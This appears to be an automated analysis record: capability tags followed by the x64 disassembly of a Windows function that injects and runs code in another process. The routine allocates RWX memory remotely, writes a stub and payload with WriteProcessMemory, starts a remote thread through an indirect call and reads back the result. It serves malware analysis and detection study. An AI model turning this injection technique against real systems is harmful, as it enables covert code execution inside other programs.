Function at 0x1400460c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp qword [r8 + 0x28], 0
movsxd rax, dword [r8 + 0x28]
jne 0x14003a670
xor r8d, r8d
jmp 0x14003a674
mov r8, qword [r8 + 0x18]
test eax, eax
jg 0x14003a67b
xor eax, eax
ret
mov r9, rax
movsxd rcx, ecx
jmp 0x1400460c0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xf8
cmp qword [rsp + 0x128], 0
je 0x1400460fe
cmp qword [rsp + 0x118], 0
je 0x1400460fe
cmp qword [rsp + 0x120], 0
jne 0x140046105
xor eax, eax
jmp 0x1400463fa
lea rax, [rsp + 0x90]
lea rcx, [0x1400a4420]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x56
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140046158
xor eax, eax
jmp 0x1400463fa
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x128]
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400461ac
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400463fa
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x96], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xb4], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xaa], rax
mov rax, qword [rsp + 0x78]
sub rax, 8
mov qword [rsp + 0xbe], rax
mov rax, qword [rsp + 0x78]
sub rax, 0x10
mov qword [rsp + 0xdd], rax
mov dword [rsp + 0x70], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x128]
mov r8, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9d, 0x56
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1400a8758]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x80]
call qword [0x1400a8760]
test eax, eax
je 0x140046326
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400463fa
cmp qword [rsp + 0x80], 0
jne 0x14004636e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400463fa
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x78]
sub rax, 0x10
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x20], rcx
mov r9d, 4
lea r8, [rsp + 0x70]
mov rdx, rax
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [rsp + 0x70]
add rsp, 0xf8
pop rdi
pop rsi
ret